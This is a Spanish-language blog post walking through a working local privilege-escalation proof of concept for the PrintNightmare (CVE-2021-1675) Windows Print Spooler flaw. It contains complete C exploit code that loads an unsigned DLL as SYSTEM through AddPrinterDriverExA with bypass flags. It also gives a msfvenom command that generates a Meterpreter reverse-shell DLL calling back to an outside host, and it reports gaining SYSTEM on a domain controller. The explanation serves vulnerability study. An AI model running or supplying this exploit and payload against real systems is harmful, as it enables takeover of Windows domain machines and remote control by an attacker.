PrintNightmare (CVE-2021-1675) Local Privilege Escalation
En este post voy a intentar explicar de forma sencilla el exploit PrintNightmare; cuales son las limitaciones y el desarrollo de un POC para elevación de privilegios de forma local.
Ya debes estar al tanto del nuevo exploit que afecta a los equipos con sistema operativo Windows; para ser precisos aquellos que están dentro de un dominio (Active Directory). https://github.com/afwu/PrintNightmare
Algunos enlaces por si quieres leer antes de que va:
https://microsofters.com/178810/printnightmare-vulnerabilidad-critica-cola-impresion-windows)
Actualmente ya existe una prueba de concepto enfocada en esta vulnerabilidad y bastante contenido que ya tienes disponible; por lo que mi enfoque en este post será de darle más sentido práctico al exploit y explicarte algunos detalles.
Primero; si ya leíste de que trata será mas fácil que entiendas lo siguiente. La vulnerabilidad se encuentra en el servicio de Windows Spooler y básicamente permite instalar un driver remota o localmente. La función que se encarga de eso es AddPrinterDriverEx
y se encuentra dentro de la archivo header Winspool.drv
.
Pero esto es a nivel superficial; por ejemplo si vamos dentro de la función se puede ver que invoca directamente a RpcAddPrinterDriverEx
(0x59) que de hecho es la función que contiene el fallo :D ; y permite que cualquier usuario dentro del dominio autenticado pueda hacer que el servicio spoolsv.exe
ejecute remota o localmente una DLL.
Como se ve en la imagen, eso ya es dentro de la función AddPrinterDriverEx
que es la que usaré en mi código; ya que está invoca también a la función vulnerable. Igual y en el POC original se hace una implementación de esto llamando directamente a NdrClientCall3
pero al final se llega a lo mismo. (pasandole los flags correctos)
Finalmente se puede hace bypass de la validación con cualquier usuario autenticado al dominio lo que permite instalar un driver dentro del dominio como SYSTEM. Pero claro posteriormente hay ciertas comprobaciones que explicaré mas adelante.
En resumen el fallo permite a un usuario sin privilegios dentro de un dominio pueda omitir las validaciones y de esa forma poder cargar una DLL (sin firmar) con privilegios de administrador del sistema; sea remota o localmente. La implementación para la forma local seria algo asi:
//x86_64-w64-mingw32-gcc exploit.c -o exploit.exe -l winspool
/**
Original :
//https://github.com/afwu/PrintNightmare
modified by synawk
*/
#include<windows.h>
#include<stdio.h>
int main(){
//download remotly dll
printf("[-] POC C - CVE-2021-1675\n");
char *path = "C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_c62e9f8067f98247\\Amd64\\UNIDRV.DLL";
//https://docs.microsoft.com/en-us/windows/win32/printdocs/driver-info-2
DRIVER_INFO_2 di;
di.cVersion = 3;
di.pName = "drv";
di.pEnvironment = NULL;
di.pDriverPath = path;
di.pDataFile = "C:\\Windows\\System32\\kernelbase.dll";
di.pConfigFile = "C:\\Users\\synawk\\Desktop\\payload.dll";
//https://docs.microsoft.com/en-us/windows/win32/printdocs/addprinterdriverex
DWORD hr = AddPrinterDriverExA(NULL, 2, (PBYTE)&di, APD_COPY_ALL_FILES | 0x10 | 0x8000);
printf("[-] Finish. GetLastError: %d\n", GetLastError());
return 0;
}
En la primera parte defino la ruta del driver la cual puede ser cambiada para que obtenerla de forma dinámica según lo que pude encontrar. Ya no lo implemente pero el resultado sería el mismo.
You don't need a hardcoded printer driver path for CVE-2021-1675 as you can actually just use EnumPrinterDrivers() to find the path for UNIDRV.DLL just in case anyone wondered about weaponizing the PoC. pic.twitter.com/ADOnwO5vBN
— Hacker Fantastic (@hackerfantastic) June 30, 2021
En la parte final es donde invoco a AddPrinterDriverExA
que posteriormente hace las llamadas que ya mencioné. Es aquí a través de los últimos argumentos que se realiza el bypass de las comprobaciones y de esa forma ejecutar el flujo de InternalAddPrinterDriverEx
.
Bypass validaciones
Si seguimos el flujo que lleva la función InternalAddPrinterDriverEx
se puede ver que hace una serie de comprobaciones.
Dentro de esta función se puede omitir la comprobación de la ruta del driver así como la firma que debe tener; y como se ve en la imagen de abajo la validación es hacer que la operación sea 0; es por eso que el flag tiene APD_INSTALL_WARNED_DRIVER ( 0x8000 ). Lo puedes ver aquí: https://docs.microsoft.com/en-us/windows/win32/printdocs/addprinterdriverex#return-value
Para el caso del flag APD_COPY_FROM_DIRECTORY (0x10) sucede lo mismo; ya que más adelante hay una validación de directorios; puedes revisar el detalle aquí.
https://docs.microsoft.com/en-us/windows/win32/printdocs/addprinterdriverex#parameters
Siendo a5 un argumento diferente al que venia usando; solo basta con revisar la implementación de la funcion SplAddPrinterDriverEx
para que sea falso.
Y como se puede ver; siendo a4 el flag que se envía y espera que a4 & 0x10 == 0 le tengo que enviar dentro del flag el valor 0x10.
Según revisé y por las pruebas que estuve haciendo, hay otras validaciones y comprobaciones que se hacen que se resuelven en el envío del flag (dwFileCopyFlags), pero en esencia funciona de la misma forma como lo he explicado.
Como ya mencioné (y se menciona en el sgt tweet también) solo funciona dentro del contexto de Active Directory. Y si de hecho ejecutas el exploit en una máquina sin DC tendrás un error de Access Denied (ERROR 5).
#PrintNightmare / CVE-2021-1675 - It appears patches might be effective on systems that are not domain controllers. RpcAddPrinterDriverEx call as non-admin fails with access denied against fully patched Server 2016 and 2019 non-DC, but after dcpromo the exploit works again.
— Stan Hegt (@StanHacked) July 1, 2021
🤷 pic.twitter.com/USetUXUzXN
Por otro lado si lo ejecutas en un DC el resultado es diferente. Para esto primero voy a generar una dll con meterpreter (es lo más rápido)
msfvenom LHOST=192.168.1.24 LPORT=8080 -p windows/x64/meterpreter/reverse_tcp -f dll > payload.dll
Esta DLL ya en un escenario real; podria ser descargada remotamente para posteriormente instalarla como driver.
Lo siguiente es ejecutar y compilar el código que deje por arriba cambiando la ruta en donde está la DLL y luego ejecutarla; para obtener algo como esto.
Y revisando las conexiones de meterpreter y luego verificando los permisos se puede ver que ya tengo permiso de SYSTEM:
Y el spooler se detiene y no se porque :c ; pero eso ya lo reviso luego.
Conclusión
Espero que se haya entendido algo :D; si bien es cierto la implementación actual es bastante simple; internamente tiene bastante complejidad, sobre todo en seguir el flujo que corresponde a las comprobaciones. Me enfoque solo en la explotación local ya que remotamente hay muchas más cosas por considerar y por lo pronto me interesaba ese enfoque.
Si consideras que la información es inexacta o tienes algunas dudas, por lo pronto puedes escribirme hasta que agregue comentarios :)
Referencias
https://github.com/afwu/PrintNightmare